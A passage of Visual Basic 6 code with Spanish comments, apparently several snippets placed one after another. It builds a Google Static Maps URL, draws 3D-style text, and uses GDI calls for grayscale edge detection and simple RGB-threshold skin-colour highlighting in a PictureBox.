    Consulta = "http://maps.google.com/maps/api/staticmap?center=" & Busqueda.Text & "&zoom=" & Zoom.Text & "&size=" & txtHei.Text & "x" & txtWid.Text & "&maptype=" & cmbTyp & "&sensor=false"
    wbShowChart.Navigate Consulta
End Sub

Private Function Letras3D7913(Pic As PictureBox, Frase As String, Red As Long, Green As Long, Blue As Long, Optional Orientacion As Boolean = True, Optional Tamaño As Long = 25, Optional Fuente As String = "Arial")
Dim x As Long
    Pic.FontName = Fuente
    Pic.FontSize = Tamaño
    For x = 255 To 1 Step -1
        Pic.ForeColor = RGB(Abs(Red - x), Abs(Green - x), Abs(Blue - x))
        If Orientacion Then Pic.CurrentX = x Else Pic.CurrentX = 255 - x
        If Orientacion Then Pic.CurrentY = x Else Pic.CurrentY = 255 - x
        Pic.Print Frase
    Next x
End Function

Option Explicit
Private Declare Function CreateDIBSection Lib "gdi32" (ByVal hDC As Long, pBitmapInfo As BITMAPINFO24, ByVal un As Long, lplpVoid As Long, ByVal handle As Long, ByVal dw As Long) As Long
Private Declare Function GetDC Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hDC As Long) As Long
Private Declare Function ReleaseDC Lib "user32" (ByVal hWnd As Long, ByVal hDC As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hDC As Long, ByVal hObject As Long) As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Private Declare Function DeleteDC Lib "gdi32" (ByVal hDC As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function VarPtrArray Lib "msvbvm60.dll" Alias "VarPtr" (Ptr() As Any) As Long
 
Private Type RGBQUAD
    rgbBlue As Byte
    rgbGreen As Byte
    rgbRed As Byte
    rgbReserved As Byte
End Type
 
Private Type BITMAPINFOHEADER
    biSize As Long
    biWidth As Long
    biHeight As Long
    biPlanes As Integer
    biBitCount As Integer
    biCompression As Long
    biSizeImage As Long
    biXPelsPerMeter As Long
    biYPelsPerMeter As Long
    biClrUsed As Long
    biClrImportant As Long
End Type
 
Private Type BITMAPINFO24
    bmiHeader As BITMAPINFOHEADER
    bmiColors() As RGBQUAD
End Type
 
Private Type SAFEARRAYBOUND
    cElements As Long
    lLbound As Long
End Type
 
Private Type SAFEARRAY2D
    cDims As Integer
    fFeatures As Integer
    cbElements As Long
    cLocks As Long
    pvData As Long
    Bounds(0 To 1) As SAFEARRAYBOUND
End Type
 
 
Private Const DIB_RGB_COLORS = 0
Private Const BI_RGB = 0&
 
 
Public Sub BuscarContornos(Pic As PictureBox)
    Dim BytesPerLine As Long
    Dim WinDC As Long
    Dim TmpDC As Long
    Dim hBmp As Long
    Dim OldBmp As Long
    Dim Addrs As Long
    Dim x As Long
    Dim y As Long
    Dim lpBits() As Byte
    Dim M_BitmapInfo As BITMAPINFO24
    Dim SA As SAFEARRAY2D
    Dim R As Byte, G As Byte, B As Byte, BYN As Byte, Tolerance As Byte
    Dim ZERO As Integer
    Dim tmp1 As Integer, tmp2 As Integer, tmp3 As Integer
    Tolerance = 20
    ZERO = 0
    BytesPerLine = ScanAlign(Pic.ScaleWidth * 3)
 
    With M_BitmapInfo.bmiHeader
        .biSize = Len(M_BitmapInfo.bmiHeader)
        .biWidth = Pic.ScaleWidth
        .biHeight = Pic.ScaleHeight
        .biPlanes = 1
        .biBitCount = 24
        .biCompression = BI_RGB
        .biSizeImage = BytesPerLine * Pic.ScaleHeight
    End With
 
    WinDC = GetDC(0)
    TmpDC = CreateCompatibleDC(WinDC)
    hBmp = CreateDIBSection(WinDC, M_BitmapInfo, DIB_RGB_COLORS, Addrs, 0, 0)
 
    Call ReleaseDC(0, WinDC)
 
    With SA
        .cbElements = 1
        .cDims = 2
        .Bounds(0).lLbound = 0
        .Bounds(0).cElements = Pic.ScaleHeight
        .Bounds(1).lLbound = 0
        .Bounds(1).cElements = BytesPerLine
        .pvData = Addrs
    End With
 
    CopyMemory ByVal VarPtrArray(lpBits), VarPtr(SA), 4
 
    OldBmp = SelectObject(TmpDC, hBmp)
 
    Call BitBlt(TmpDC, 0, 0, Pic.ScaleWidth, Pic.ScaleHeight, Pic.hDC, 0, 0, vbSrcCopy)
 
    For y = 0 To Pic.ScaleHeight - 1
        For x = 0 To (Pic.ScaleWidth * 3) - 1 Step 3
 
            B = lpBits(x + 2, y)
            G = lpBits(x + 1, y)
            R = lpBits(x, y)


            'ZERO ES PARA QUE NO HAGA DESBORDAMIENTO
            BYN = Int((ZERO + R + G + B) / 3)
            
            'DIBUJA EN BLANCO Y NEGRO
            
            lpBits(x, y) = BYN
            lpBits(x + 1, y) = BYN
            lpBits(x + 2, y) = BYN
            If x <> 0 And y <> 0 Then
            tmp1 = lpBits(x - 1, y - 1)
            tmp2 = lpBits(x - 1, y)
            tmp3 = lpBits(x, y - 1)
            If Abs(tmp2 - tmp1) > Tolerance Or Abs(tmp3 - tmp1) > Tolerance Then
                lpBits(x - 1, y - 1) = 0
                lpBits(x - 2, y - 1) = 0
                lpBits(x - 3, y - 1) = 0
            Else
                'PINTA DE NEGRO EL PIXEL POR QUE AHI HAY UN BORDE
                lpBits(x - 1, y - 1) = 255
                lpBits(x - 2, y - 1) = 255
                lpBits(x - 3, y - 1) = 255
            End If
            End If
        Next x
    Next y
 
    CopyMemory ByVal VarPtrArray(lpBits), 0&, 4
    Call BitBlt(Pic.hDC, 0, 0, Pic.ScaleWidth, Pic.ScaleHeight, TmpDC, 0, 0, vbSrcCopy)
    Call DeleteObject(SelectObject(TmpDC, OldBmp))
    Call DeleteDC(TmpDC)
 
 
 
End Sub
 
Public Sub BuscarPiel(Pic As PictureBox)
    Dim BytesPerLine As Long
    Dim WinDC As Long
    Dim TmpDC As Long
    Dim hBmp As Long
    Dim OldBmp As Long
    Dim Addrs As Long
    Dim x As Long
    Dim y As Long
    Dim lpBits() As Byte
    Dim M_BitmapInfo As BITMAPINFO24
    Dim SA As SAFEARRAY2D
    Dim R As Byte, G As Byte, B As Byte, BYN As Byte, Tolerance As Byte
    Dim ZERO As Integer
    Dim tmp1 As Integer, tmp2 As Integer, tmp3 As Integer
    Tolerance = 20
    ZERO = 0
    BytesPerLine = ScanAlign(Pic.ScaleWidth * 3)
 
    With M_BitmapInfo.bmiHeader
        .biSize = Len(M_BitmapInfo.bmiHeader)
        .biWidth = Pic.ScaleWidth
        .biHeight = Pic.ScaleHeight
        .biPlanes = 1
        .biBitCount = 24
        .biCompression = BI_RGB
        .biSizeImage = BytesPerLine * Pic.ScaleHeight
    End With
 
    WinDC = GetDC(0)
    TmpDC = CreateCompatibleDC(WinDC)
    hBmp = CreateDIBSection(WinDC, M_BitmapInfo, DIB_RGB_COLORS, Addrs, 0, 0)
 
    Call ReleaseDC(0, WinDC)
 
    With SA
        .cbElements = 1
        .cDims = 2
        .Bounds(0).lLbound = 0
        .Bounds(0).cElements = Pic.ScaleHeight
        .Bounds(1).lLbound = 0
        .Bounds(1).cElements = BytesPerLine
        .pvData = Addrs
    End With
 
    CopyMemory ByVal VarPtrArray(lpBits), VarPtr(SA), 4
 
    OldBmp = SelectObject(TmpDC, hBmp)
 
    Call BitBlt(TmpDC, 0, 0, Pic.ScaleWidth, Pic.ScaleHeight, Pic.hDC, 0, 0, vbSrcCopy)
 
    For y = 0 To Pic.ScaleHeight - 1
        For x = 0 To (Pic.ScaleWidth * 3) - 1 Step 3
 
            R = lpBits(x + 2, y)
            G = lpBits(x + 1, y)
            B = lpBits(x, y)


            'ZERO ES PARA QUE NO HAGA DESBORDAMIENTO
            BYN = Int((ZERO + R + G + B) / 3)
            
            'DIBUJA EN BLANCO Y NEGRO
            If R > 168 And G > 134 And B > 94 And R < 250 And G < 235 And B < 215 Then
            ' LOS PROXIMOS 3 VALORES ESPECIFICAN EL COLOR CON EL QUE SE VA A PINTAR
            lpBits(x, y) = 0
            lpBits(x + 1, y) = 255
            lpBits(x + 2, y) = 255
            Else
            lpBits(x, y) = 0 ' BYN
            lpBits(x + 1, y) = 0 'BYN
            lpBits(x + 2, y) = 0 'BYN
            End If
        Next x
    Next y
 
    CopyMemory ByVal VarPtrArray(lpBits), 0&, 4
    Call BitBlt(Pic.hDC, 0, 0, Pic.ScaleWidth, Pic.ScaleHeight, TmpDC, 0, 0, vbSrcCopy)
    Call DeleteObject(SelectObject(TmpDC, OldBmp))
    Call DeleteDC(TmpDC)
 
 
 
End Sub

Private Function ScanAlign(WidthBmp As Long) As Long
    ScanAlign = (WidthBmp + 3) And &HFFFFFFFC
End Function
 

Private Sub Command1_Click()
    'ESTO PARA CONTORNOS
    BuscarContornos PicTratamiento
    'ESTO PARA PIEL
    BuscarPiel PicTratamiento
    PicTratamiento.Refresh
End Sub
 
Private Sub Form_Load()
    PicTratamiento.AutoRedraw = True
    PicTratamiento.ScaleMode = vbPixels
End Sub